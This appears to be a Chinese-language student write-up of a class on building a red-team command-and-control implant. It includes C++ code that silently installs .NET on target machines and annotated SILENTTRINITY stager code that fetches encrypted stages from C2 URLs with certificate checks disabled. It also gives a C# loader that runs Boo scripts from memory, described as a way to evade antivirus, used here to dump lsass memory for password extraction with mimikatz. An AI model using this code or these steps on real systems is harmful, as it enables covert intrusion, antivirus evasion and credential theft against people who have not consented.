C2分析設計(「實踐與灼見」課堂筆記)
——本文整理依據自作者Moriarty
C2分析設計一開始氣量不宜太高,先以幾個開源的框架作為基礎,取其精華,組織成一個新的C2出來。其實這個C2的設計並不簡單,需要從整個C2的框架開始進行設計,然後是協議等等,挺複雜的。我們先通過大概的去構思一個C2,然後將其中的每一個環節進行分解,把每一個細節將清楚,這樣大家的接受程度可能會高一點。
我們第一個取材的是SILENTTRINITY,需要從中提煉兩個好東西,更準確的其實只有一個東西,另外一個東西是它延申出來的,當然我們取材的還有第二個、第三個、第四個、第五個,把這些C2好的東西都給它提煉出來,然後進行組裝,那個時候再從協議設計上去細講,大家接受起來就比較容易了。
-
今天先來講下C端大概的規劃,咱們的主要開發語言是C#,C#主要的框架就是.net framework,用來做這些東西方便且效率高,而且加上.net framework在windows操作系統上的普及以及編譯後程序集(Assembly)的靈活性,C#+.net成為了最合適的一個搭配。但是他們有一個不太好的地方就是C#語言發展太快了,分了很多版本,從1.0到7.0語法發生着各種變化,對應的.net框架也從1.0開始到現在的4.8,大家在寫的時候就會過多的考慮兼容性,會考慮目標機器上.net框架版本,win10可能是默認4.0,2008可能是默認裝3.5等等版本的兼容性,這個對於C2設計來講是一個坎,這個坎不是說有多難,而是說會造成很多開發上的困擾,那麼怎麼去解決呢?其實換一種設計理念,我不管你目標系統上.net的版本是多少,除非你達到我想要的那個版本,否則的話我就給你裝,發現你的版本不是我的開發版本(4.8),就將你的版本升級到我的開發版本(4.8)。這種方式第一個好處就是在寫代碼的時候不用去考慮兼容性,第二個好處就是更高版本的.net做更多的事情。那怎麼去做呢?不可能大搖大擺的在人家的桌面上彈個安裝框對吧,或者你去用人家的鼠標瞎點。這裡邊其實微軟都已經幫咱們選好了,拿4.8來說,4.8版本的安裝一般都分離線的和在線安裝,在線安裝版本可能體量比較小,1-3MB。離線的可能就是上百MB了,我們傳一個上百MB的安裝包是不現實的,所以我們只能使用在線安裝。.net在線安裝支持很多命令行參數,有些參數可以完全做到靜默安裝,而且也不用重啟,再加上.net framework本來就是微軟的東西,所以自帶通行證,沒有殺軟會去管這個事情。那麼另外一種安裝方式就是採用鍵盤消息之類的去安裝,不過操作比較複雜,可以參考三好學生的文章。到底怎麼安裝上看個人的情況。
-
第二點就是還要考慮一種情況,用.net寫是默認承認目標機器的.net符合自己要求,萬一安裝升級不成功怎麼辦?那麼我們的C端核心(core)就不能用.net去寫,咱們的core就要用C或者C++去寫,當然彙編也行。由core去判斷.net版本,如果不滿足就負責安裝.net,安裝成功之後後續的工作交由.net來做。這就是一個大概C端的設計,今天主要講講C端涉及到的技術點。首先第一點你肯定要用C或者C++去寫東西,其中有一個非常重要的功能就是通過支持SSL的HTTP協議使用Web Downloader去下載.net framework的在線安裝包,下載完成後通過創建進程去執行安裝包實現.net framework的安裝。這個功能其實也不難,用Google隨便搜索http wrapper c++ 這種方式就能搜到很多,看自己喜好了,這塊選擇上要提醒一下,雖然是C++的東西,但是盡量不要找帶有MFC的包裝類(wrapper),因為MFC牽扯到了太多亂七八糟的東西。我選擇的是
HttpInterface
(//github.com/JelinYao/HttpInterface),這個實現挺完美的,今天就以它為例子,看看下載執行這一塊兒的東西。
HttpInterface
先用visual studio打開項目
打開之後有兩個工程,IHttp是咱們要用到的工程,UserHttp是測試工程,這個可以直接編譯,編譯出來是一個dll,這個肯定不行,因為是需要集成到core裏面的所以需要改為靜態庫
將代碼生成處的運行庫改為MT,然後進行右鍵項目點擊生成進行編譯,在編譯完成後就會在新生成的目錄中出現IHttp.lib文件
HttpInterface分析
我們可以來過下類的代碼看下它的類是怎麼用的
為實現Http訪問,微軟提供了二套API:WinINet, WinHTTP。WinHTTP比WinINet更加安全和健壯,可以這麼認為WinHTTP是WinINet的升級版本。這兩套API包含了很多相似的函數與宏定義,這兩個API都是對Socket的封裝。
它封裝的HTTP類分別實現了使用WinInet這種方式和WinHttp方式做HTTP訪問,還有一個是用純Socket庫去做的,我們使用WinHttp這種方式去訪問
這裡我將用到的WinHTTP API方法做訪問的流程做了一個注釋,方便理解
在Init方法中使用API的WinHttpOpen
方法獲得一個會話句柄m_hInternet
在ConnectHttpServer方法中使用WinHttpConnect
獲得一個連接會話
在CreateHttpRequest方法中使用WinHttpOpenRequest
建立一個http請求
不過最簡單的方式還是用它自帶的測試類,這樣比較方便一點。
在開頭有一個回調來輸出下載進度,我們需要把這個進度返回給TeamServer端,然後進入主函數
TestWinHttp方法演示了使用WinHttp封裝好的類訪問HTTP的方式
下邊有一個TestDownloadFile方法演示了怎麼下載文件,這個剛好適合我們,咱們可以直接將這個測試代碼拿過來用。
HttpInterface測試
下一步就是用來下載咱們的.net framework安裝包
右鍵添加項目直接添加一個新工程
將該庫和導出的頭文件(HttpInterface-master\IHttp\IHttp\IHttpInterface.h
)複製到項目文件夾下
去官網//dotnet.microsoft.com/download/dotnet-framework/net48
獲取4.8Runtime的下載地址,下載後右鍵複製下載鏈接
下面來編寫自己的程序
#include "pch.h"
#include <iostream>
#include <string>
#include "IHttpInterface.h" //包含IHttp導出頭文件
#pragma commit(lib,"IHttp.lib") //引入IHttp靜態庫
using std::wstring;
//下載文件的回調類,顯示下載進度&控制下載
class CMyCallback
: public IHttpCallback
{
public:
virtual void OnDownloadCallback(void* pParam, DownloadState state, double nTotalSize, double nLoadSize)
{
if (nTotalSize > 0)
{
int nPercent = (int)(100 * (nLoadSize / nTotalSize));
printf("下載進度:%d%%\n", nPercent);
}
}
virtual bool IsNeedStop()
{
//如果需要在外部終止下載,返回true
return false;//繼續下載
}
};
bool TestDownloadFile(const wchar_t* pUrl, const wchar_t* plocalpath)
{
IWinHttp* pHttp;
bool bRet = CreateInstance((IHttpBase**)&pHttp, TypeWinHttp); //返回一個Http類,類型為WinHttp
if (!bRet)
{
return false;
}
CMyCallback cb;
pHttp->SetDownloadCallback(&cb, NULL); //設置下載回調
//const wchar_t* pUrl = L"//pm.myapp.com/invc/xfspeed/qqsoftmgr/[email protected]";
//const wchar_t* pSavePath = L"c:\\down.exe";
if (!pHttp->DownloadFile(pUrl, plocalpath)) //使用DownloadFile方法下載文件並保存到相應位置
{
//下載失敗
//DWORD dwCode = GetLastError(); //返回操作碼
HttpInterfaceError error = pHttp->GetErrorCode();
pHttp->FreeInstance();
return false;
}
pHttp->FreeInstance();
return true;
}
int main()
{
wstring* purl = new wstring(L"//download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/1f81f3962f75eff5d83a60abd3a3ec7b/ndp48-web.exe"); //下載地址
wstring* plocalpath = new wstring(L"H:\\demo\\ndp-48-web.exe");//下載後放到H盤demo目錄
if (TestDownloadFile(purl->c_str(), plocalpath->c_str())) //調用下載類
{
std::cout << "下載完成" << std::endl;
}
}
如果直接Copy項目後打開出現很多錯誤,解決方案就是右擊項目選擇重定向項目,之後再右鍵項目選擇重新掃描解決方案即可解決問題。
HttpInterface整合
下載完成後使用CMD打開可查看其可選參數
我們只需要/q和/norestart參數即可完成靜默安裝,具體的代碼實現如下
#include <iostream>
#include <string>
#include <windows.h>
#include "IHttpDownloader.h"
using std::wstring;
#pragma comment(lib,"IHttp.lib")
bool TestDownloadFile(const wchar_t* purl, const wchar_t* plocalpath) {
IWinHttp* pHttp;
bool bRet = CreateInstance((IHttpBase**)&pHttp, TypeWinHttp);
if (!bRet)
{
return false;
}
CMyCallback cb;
pHttp->SetDownloadCallback(&cb, NULL);
//const wchar_t* pUrl = L"//download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/1f81f3962f75eff5d83a60abd3a3ec7b/ndp48-web.exe";
//const wchar_t* pSavePath = L"e:\\temp\\ndp48-web.exe";
if (!pHttp->DownloadFile(purl, plocalpath))
{
DWORD dwCode = GetLastError();
HttpInterfaceError error = pHttp->GetErrorCode();
pHttp->FreeInstance();
return false;
}
pHttp->FreeInstance();
return true;
}
bool RunDotnetInstaller(const wchar_t* plocalfile) { //傳入指定路徑
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = { 0 };
wstring* pfile = new wstring(plocalfile);
//wchar_t cmd[] = L"notepad.exe";
pfile->append(L" /q /norestart"); //運行添加參數
si.cb = sizeof(si);
si.dwFlags = SW_SHOW;
MessageBoxW(NULL, pfile->c_str(), L"message", MB_OK);
if (!CreateProcessW(NULL,(LPWSTR) pfile->c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
std::cout << "Starting Installer failed!" << std::endl;
delete pfile;
return false;
}
std::cout << "Start installing successfully! Process ID is " << pi.dwProcessId << std::endl;
DWORD status = WaitForSingleObject(pi.hProcess, INFINITE); //等待安裝結束
if (status == WAIT_OBJECT_0) {
std::cout << "Installation Complete!" << std::endl;
}
delete pfile;
return true;
}
int main()
{
if (TestDownloadFile(L"//download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/1f81f3962f75eff5d83a60abd3a3ec7b/ndp48-web.exe", L"h:\\demo\\ndp48-web.exe")) {//傳入下載地址和保存地址
std::cout << "downloading complete!" << std::endl;
if (RunDotnetInstaller(L"d:\\tmp\\ndp48-web.exe"))//靜默安裝
std::cout << "We are all set!" <<std::endl;
}
return true;
}
這個項目的功能很簡單,就是從微軟官方下載安裝包,再在目標機器上進行靜默安裝,這樣安裝成功後目標系統就有了我們想要的4.8的環境,有了環境後咱們的那些功能就能正常使用了。還有一種方法就是直接將安裝包通過TeamServer傳給C端的Core直接進行安裝這也是沒問題的。
BooLang
(圖-1)
下面來講第二個點,也是我想說的重點,就是從SILENTTRINITY上面去挖掘的一個點,它使用了一個第三方開發的動態語言Boolang,這個語言從創建時間來看應該是很早了,而且現在已經停止更新了,但是它有完整的源碼,在我研究過之後發現很好用,先前在設計我們自己的C2的時候當時選擇的插件語言是IronPython,插件第一個主要的任務是就是在本地進行功能擴展,另外類似Cobalt Strike是通過進行本地去寫,實際上是在本地進行解析執行,然後實際要乾的功能還是要通過網絡傳輸傳輸到C端由C端去實際執行,而C端實際執行的就是那些真正的公用代碼,比如說.net的Assembly之類。那麼咱們的設計要比Cobalt Strike稍微增加一個功能,就是腳本不光可以用在本地,同樣也支持將腳本傳到目標系統內進行解析執行。當然這樣要保證第一點就是在目標系統內執行得需要解釋器,這個動態解釋器肯定不能落地,這個Boolang其實最大的好處就是解析執行Boolang腳本只需要幾個Assembly並且體積並不大,因為這個東西是基於.net去寫的,所以只需要將解釋器的dll(圖-1)想辦法傳到C端上去,然後由C端進行直接通過Assembly.load這個方法把這些dll直接加載到內存里,然後加載成功之後再傳過來的Boolang的腳本就可以被解析執行了。這個其實就是SILENTTRINITY最大的亮點。
SILENTTRINITY
咱們的設計也是基於Boolang這種形式,通過閱讀它的Naga源碼挑出幾個關鍵的點來進行模擬,首先大概看一下它的功能代碼,主代碼位於Naga\Program.cs
using System;
using Naga;
using Naga.Properties;
namespace NagaExe
{
class Program
{
static void Main(string[] args)
{
string[] _urls;
string _guid;
string _psk;
//檢索輸入的指定字符串資源
_guid = Resources.ResourceManager.GetString("GUID").ToString();
_psk = Resources.ResourceManager.GetString("PSK").ToString();
_urls = Resources.ResourceManager.GetString("URLs").ToString().Split('|')[0].Split(',');
#if DEBUG
Console.WriteLine("[*] Found info in embedded resources:");
Console.WriteLine("\t- GUID: {0}", _guid);
Console.WriteLine("\t- PSK: {0}", _psk);
Console.WriteLine("\t- URLS: {0}", String.Join(",", _urls));
#endif
if (args.Length < 3)
{
if (_guid == "00000000-0000-0000-0000-000000000000" && _psk == new String('@', 64))
{
Console.WriteLine("Usage: ST.exe <GUID> <PSK> <URL1,URL2...>");
Environment.Exit(1);
}
}
else
{
try
{
_guid = args[0];
_psk = args[1];
_urls = args[2].Split(',');
Guid.Parse(_guid);
foreach (var url in _urls)
{
new Uri(url);
}
}
catch
{
Console.WriteLine("Not enough arguments or invalid parameters");
Environment.Exit(1);
}
}
ST.Start(_guid, _psk, _urls);//調用ST類Start方法對傳入資源做處理
}
}
}
前面都是取各種參數,我們重點關注ST類
using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
using Boo.Lang.Compiler;
using Boo.Lang.Compiler.IO;
using Boo.Lang.Compiler.Pipelines;
namespace Naga
{
public class ST
{
private static Guid GUID;
private static string[] URLS;
private static string HEXPSK;
private static byte[] PSK;
private static ZipStorer _stage;
//構造函數初始化ServicePointManager對象進行Internet訪問
static ST()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true; //獲取或設置用於驗證服務器證書的回調
ServicePointManager.SecurityProtocol = (SecurityProtocolType)768 | (SecurityProtocolType)3072; //指定連接使用TLS1.1或TLS1.2協議
ServicePointManager.Expect100Continue = false; //直接發送數據不使用100-Continue
AppDomain.CurrentDomain.AssemblyResolve += ResolveEventHandler; //解析失敗時觸發,調用ResolveEventHandler返回非運行目錄指定dll的Assembly對象
}
//加載指定dll,返回對應dll的Assembly對象
private static Assembly ResolveEventHandler(object sender, ResolveEventArgs args)
{
var dllName = Utils.GetDllName(args.Name); //分割參數返回dll名
#if DEBUG
Console.WriteLine("\t[-] '{0}' was required...", dllName);
#endif
byte[] bytes;
try
{
bytes = Utils.GetResourceByName(dllName);
}
catch
{
bytes = Utils.GetResourceFromZip(_stage, dllName) ??
File.ReadAllBytes(RuntimeEnvironment.GetRuntimeDirectory() +
dllName);
}
#if DEBUG
Console.WriteLine("\t[+] '{0}' loaded...", dllName);
#endif
return Assembly.Load(bytes);
}
public static void Start(string _guid, string _psk, string[] _urls)
{
//AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler);
GUID = Guid.Parse(_guid);
HEXPSK = _psk;
PSK = Utils.Hex2Binary(_psk);
URLS = _urls;
#if DEBUG
Console.WriteLine("[+] URLS: {0}", String.Join(",", URLS));
#endif
while (true)
{
foreach (var url in URLS)
{
Uri URL;
URL = new Uri(new Uri(url), GUID.ToString());
try
{
byte[] key = Crypto.ECDHKeyExchange(URL, PSK);
byte[] encrypted_zip = Comms.HttpGet(URL);
_stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true);
byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo");
string source = Encoding.UTF8.GetString(resource, 0, resource.Length);
RunBooEngine(source);
}
catch { }
}
}
}
public static void RunBooEngine(string source)
{
Console.WriteLine("\n[*] Compiling Stage Code");
CompilerParameters parameters = new CompilerParameters(false);
parameters.Input.Add(new StringInput("Stage.boo", source));
parameters.Pipeline = new CompileToMemory();
parameters.Ducky = true;
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang"));
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Extensions"));
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Parser"));
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Compiler"));
parameters.AddAssembly(Assembly.LoadWithPartialName("mscorlib"));
parameters.AddAssembly(Assembly.LoadWithPartialName("System"));
parameters.AddAssembly(Assembly.LoadWithPartialName("System.Core"));
parameters.AddAssembly(Assembly.LoadWithPartialName("System.Web.Extensions"));
//Console.WriteLine(compiler.Parameters.LibPaths);
//compiler.Parameters.LoadAssembly("System");
BooCompiler compiler = new BooCompiler(parameters);
CompilerContext context = compiler.Run();
//Note that the following code might throw an error if the Boo script had bugs.
//Poke context.Errors to make sure.
if (context.GeneratedAssembly != null)
{
Console.WriteLine("[+] Compilation Successful!");
Console.WriteLine("[*] Executing");
//AppDomain.CurrentDomain.AssemblyResolve -= ResolveEventHandler;
//反射調用並傳入參數到boo腳本
context.GeneratedAssembly.EntryPoint.Invoke(null, new object[] { new string[] { GUID.ToString(), HEXPSK, string.Join(",", URLS) } });
}
else
{
Console.WriteLine("[-] Error(s) compiling script, this probably means your Boo script has bugs\n");
foreach (CompilerError error in context.Errors)
Console.WriteLine(error);
}
}
}
}
在ST類的ResolveEventHandler方法中會加載傳入的dll,第二點就是怎麼把dll帶進去,它是作為一個stager的過程將那四個dll打包成zip文件傳過去。在實際的紅隊滲透中不涉及C2的話咱們可以完全把這個功能單獨提取出來用,好處就是在免殺效果上有非常不錯的表現。咱們先把它單獨提取出來演示一下,後面再來慢慢組裝C2
使用C#內存加載運行Boolang
新建一個名為BooTest的C#項目
然後將ZIP包的DLL資源嵌入到項目中,DLL資源從//github.com/boo-lang/boo
獲取
除SILENTTRINITY使用的四個DLL外,其實還有一個擴展方法,需要用到另外一個DLL,咱們就一起打包了
打包後右鍵添加文件夾改名為Resources
右鍵文件夾添加現有項
選擇所有文件並引入打包好的Boo.zip
將生成操作改為嵌入的資源,點擊保存後成功的將資源嵌入。
再添加zip操作類,代碼位於//github.com/jaime-olivares/zipstorer/blob/master/src/ZipStorer.cs
右鍵項目>添加>新建項,新建ZipStorer類然後將代碼Copy過來,關於Boolang的語法在GitHub的wiki上有寫,有興趣的可以去看看。
然後將ST類的的ResolveEventHandler函數和RunBooEngine函數Copy過來,和它用到的方法一起Copy過來,最後將其進行整理。
using Boo.Lang.Compiler;
using Boo.Lang.Compiler.IO;
using Boo.Lang.Compiler.Pipelines;
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace BooTest
{
class Program
{
private static ZipStorer _boozip = ZipStorer.Open(new MemoryStream(GetResourceAsbytes("Boo.zip")), FileAccess.ReadWrite, true);
public static string GetDllName(string name)
{
var dllName = name + ".dll";
if (name.IndexOf(',') > 0)
{
dllName = name.Substring(0, name.IndexOf(',')) + ".dll";
}
return dllName;
}
public static string GetResourceFullName(string resName) => Assembly.GetExecutingAssembly().GetManifestResourceNames().FirstOrDefault(x => x.EndsWith(resName));
internal static byte[] GetResourceAsbytes(string resName)
{
using (var resourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(GetResourceFullName(resName)))
{
using (var memoryStream = new MemoryStream())
{
resourceStream?.CopyTo(memoryStream);
return memoryStream.ToArray();
}
}
}
//獲取boo腳本源碼
public static string GetResourceAsString(string resName)
{
string _content = null;
using (Stream _stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(GetResourceFullName(resName)))
{
using (StreamReader _txtreader = new StreamReader(_stream))
{
_content = _txtreader.ReadToEnd();
}
}
return _content;
}
public static byte[] GetResourceFromZip(ZipStorer zip, string name)
{
foreach (var entry in zip.ReadCentralDir())
{
if (entry.FilenameInZip != name) continue;
zip.ExtractFile(entry, out var data);
return data;
}
return default;
}
private static Assembly ResolveEventHandler(object sender, ResolveEventArgs args)
{
var dllName = GetDllName(args.Name); //分割參數返回dll名
Console.WriteLine($"Loading missing dll :{dllName}"); //查看每次加載的dll
byte[] bytes;
bytes = GetResourceFromZip(_boozip, dllName) ??
File.ReadAllBytes(RuntimeEnvironment.GetRuntimeDirectory() +
dllName);
return Assembly.Load(bytes);
}
//解析執行Boo腳本
public static void RunBooEngine(string name,string source)
{
Console.WriteLine("\n[*] Compiling Stage Code");
CompilerParameters parameters = new CompilerParameters(false);
parameters.Input.Add(new StringInput(name, source));
parameters.Pipeline = new CompileToMemory();
parameters.Ducky = true;
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang"));
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Extensions"));
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Parser"));
parameters.AddAssembly(Assembly.LoadWithPartialName("Boo.Lang.Compiler"));
parameters.AddAssembly(Assembly.LoadWithPartialName("mscorlib"));
parameters.AddAssembly(Assembly.LoadWithPartialName("System"));
parameters.AddAssembly(Assembly.LoadWithPartialName("System.Core"));
parameters.AddAssembly(Assembly.LoadWithPartialName("System.Web.Extensions"));
//Console.WriteLine(compiler.Parameters.LibPaths);
//compiler.Parameters.LoadAssembly("System");
BooCompiler compiler = new BooCompiler(parameters);
CompilerContext context = compiler.Run();
//Note that the following code might throw an error if the Boo script had bugs.
//Poke context.Errors to make sure.
if (context.GeneratedAssembly != null)
{
Console.WriteLine("[+] Compilation Successful!");
Console.WriteLine("[*] Executing");
//AppDomain.CurrentDomain.AssemblyResolve -= ResolveEventHandler;
context.GeneratedAssembly.EntryPoint.Invoke(null, new object[] { null });
}
else
{
Console.WriteLine("[-] Error(s) compiling script, this probably means your Boo script has bugs\n");
foreach (CompilerError error in context.Errors)
Console.WriteLine(error);
}
}
static void Main(string[] args)
{
}
}
}
RunBooEngine是用來解析執行boo腳本的,但是他在執行的時候需要引用boo的一些庫函數,我們將boo的幾個類型引入進來
引用右鍵添加引用
在瀏覽處添加剛剛那幾個dll,點擊確定
添加庫,其它異常同理。
然後右鍵添加boo腳本進行演示,將文件的屬性也改為嵌入式資源。Boolang的語法是取了Python和ruby等的語言精華然後融合成的新語法,所以說主要還是像python,剩下的20%和10%分別是ruby和.net。
test.boo
import System
print "Hello From inside Boo"
在項目的main函數中執行我們的boo腳本
static void Main(string[] args)
{
//解析失敗時觸發,調用ResolveEventHandler返回指定dll的Assembly對象
AppDomain.CurrentDomain.AssemblyResolve += ResolveEventHandler;
//嘗試執行test.boo
RunBooEngine("test.boo", GetResourceAsString("test.boo"));
Console.ReadKey();
}
右鍵編譯項目查看運行結果
可以看到boo腳本已經成功的解析執行了,在dll的加載中我們可以看到它調用了ResolveEventHandler首先加載了zip包中的dll,然後通過File.ReadAllBytes(RuntimeEnvironment.GetRuntimeDirectory() + dllName);
獲取系統dll目錄從系統目錄里加載dll
C#內存加載Boolang進行進程Dump
到這一步之後咱們怎麼做到實際的免殺?其實這時候殺軟從booTest.exe中就很難找到被查殺的特徵了,加載boolang的過程是看不出威脅性的,有威脅性的代碼都在test.boo中加載到了內存直接解析執行,這就是用Boolang的好處,下面我們找一個功能試一下。//github.com/GhostPack/SharpDump/blob/master/SharpDump/Program.cs
這個項目功能就是使用MiniDumpWriteDump函數來做lsass進程的內存Dump,用Boolang更大的好處在於可以調試,它有Visual Studio插件還有IDE環境,比較好用的就是SharpDevelop 4.4,在安裝的時候需要選擇安裝Boo語言
在新建解決方案中可以看到支持Boo的項目,在4.4中有一個功能就是可以直接將C#源碼轉換為Boo語言,我們新建一個C#文件,選擇Empty File並將SharpDump源碼粘貼進來
在Tools的Convert code to 選項處可以選擇轉換為Boo語言
在轉換完成之後需要修復可能出現的Bug,比如這裡就提示了在51行和37行不支持可選參數
經過分析後發現Minidump在cs源碼中有一個默認參數-1
Boo
當未加上進程PID參數時會直接調用Minidump,實際上傳遞了默認參數-1。Minidump方法中進行了判斷,當pid為默認的-1時會直接返回lsass相關聯的進程資源數組,由於Boolang不支持默認參數,所以我們需要改一下傳入一個-1即可。
其次在Boolang中duck為動態類型,所以關於動態類型賦值的地方需要修改為duck
在讀註冊表操作處將var類型改為duck
讀文件操作處也可以用duck,但是因為明確返回為byte類型,所以也可以用byte,將var改為byte。
這時將文件保存到boo-master\bin目錄下使用booc.exe進行編譯
使用-h參數可以查看其用法
我們直接跟上boo腳本進行編譯
編譯後發現爆出了一個警告沒有Main方法,查看代碼發現Main函數因為C#的寫法在轉換後被包進了Program類中,而在Boo語法中類就是類,入口函數是單獨的,所以我們需要將Main函數回退一格縮進
選中Main函數後按住Shift+Tab直接會回退一格縮進
再將調用的靜態方法Minidump加上類名,保存後進行編譯
這時可以看到已經編譯成功,同時編譯出了一個dll,我們使用高權限運行CMD後運行SharpDump.exe看看是否有問題
可以看到已經成功導出了lsass.exe的Dump,改名解壓後即可使用mimikatz查看口令。
沒有問題之後咱們就可以將boo腳本放入我們的工程裏面了
新建文件SharpDump.boo,選擇生成操作為嵌入式資源
直接將轉換後的代碼Copy過來即可
修改執行的Boo腳本,右鍵項目重新編譯成exe文件。
運行後發現出現了NullReferenceException錯誤,在反射調用的地方發現傳入了null
而在sharpdump.boo的main函數實現中必須得傳入一個字符串數組
所以我們傳入一個空字符串數組,或者傳入-1即可
保存編譯後發現成功執行了boo腳本但是dump失敗,最後發現是版本問題,將編譯版本改為4.5即可
很奇怪的是改為4.5之後再改為4.8又能成功dump了。
結尾
今天這一將基本上就算把借鑒SILENTTRINITY的東西講完了,咱們的C2代碼執行這一塊兒就基於Boolang來做,這個模塊就是核心的執行模塊。然後下一步就是從其它的開源C2裏面借鑒一些設計比較好的功能,比如說協議、數據包設計等等。第一期的主要任務就是把目前市面上能看到的開源C2的優點都提取出來跟咱們整體的C2設計結合。
個人總結
這次對我來說是個很大的挑戰,我對C2設計這方面一竅不通,C#也不懂。但是勝在其他語言和Web安全方面有一定的基礎,最終還是一步一步跟着老師復現環境然後把這篇文章努力寫完了,也學到了很多。